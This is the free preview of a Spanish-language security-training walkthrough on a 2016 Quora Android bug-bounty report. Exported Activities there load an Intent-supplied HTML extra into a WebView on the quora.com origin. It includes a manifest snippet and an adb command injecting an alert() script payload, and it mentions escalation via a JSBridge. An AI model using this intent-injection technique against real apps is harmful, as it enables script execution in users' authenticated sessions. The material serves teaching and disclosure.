Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremiumbounty: $2500

XSS Android — Activity exported via ContentActivity (POE/Quora real report)

Walkthrough de XSS Android explotable via Activity Exported intent en POE: cómo un ContentActivity sin filtros leaks WebView a sites attacker-controlled.

Gorka El Bochi11 de mayo de 202613 min

Respuesta rápida

En Android, una Activity marcada exported="true" puede ser invocada por cualquier app instalada vía Intent — sin permisos. Si esa Activity acepta un parámetro html y lo carga directo en un WebView con contexto del dominio principal (www.quora.com), tienes stored XSS en mobile + acceso al JSBridge nativo + escalación a RCE en Android ≤4.2. Quora pagó $2,500 por esto en 2016 y el patrón sigue vigente en apps Android modernas (banking, social, productivity). 5 minutos con adb + Drozer descubren si tu target es vulnerable.


1. Refresher: cómo funciona Android Intents

Android tiene 4 tipos de components: Activities, Services, BroadcastReceivers, ContentProviders. Cualquiera puede tener android:exported="true" en el AndroidManifest.xml.

xml
<activity
    android:name=".ContentActivity"
    android:exported="true">    <!-- ❌ accesible desde cualquier app -->
</activity>

Cuando exported=true:

  • Cualquier app instalada puede invocarla con un Intent.
  • No requiere permisos especiales (a menos que se declaren con <permission>).
  • Los Intent extras son atacante-controlados al 100%.

Por qué a veces se marca exported=true

  • Deep links (https://target.com/x → abre Activity X).
  • Integraciones con otras apps (share intent, file picker).
  • Custom URL schemes (myapp://).
  • En Android 12+ es obligatorio declarar exported=true/false explícitamente — muchos devs lo ponen true "por seguridad" sin entender que es lo contrario.

2. El caso real — Quora Android (2016, $2,500)

Activities afectadas

xml
<activity android:name="com.quora.android.ContentActivity" android:exported="true"/>
<activity android:name="com.quora.android.ModalContentActivity" android:exported="true"/>
<activity android:name="com.quora.android.ActionBarContentActivity" android:exported="true"/>

Las tres aceptaban dos Intent extras:

ExtraSignificado
urlURL de referencia (no validada)
htmlContenido HTML que se carga directo en el WebView

El WebView se cargaba con el contexto de www.quora.com — es decir, cualquier JS inyectado corría con ese origen y con acceso al JSBridge nativo QuoraAndroid.

Payload base via ADB

bash
adb shell am start \
  -n com.quora.android/com.quora.android.ActionBarContentActivity \
  -e url 'http://test/test' \
  -e html 'XSS<script>alert(document.domain)</script>'

Resultado: alert con www.quora.com → XSS en contexto autenticado de Quora.


Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Mobile Android Xss

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados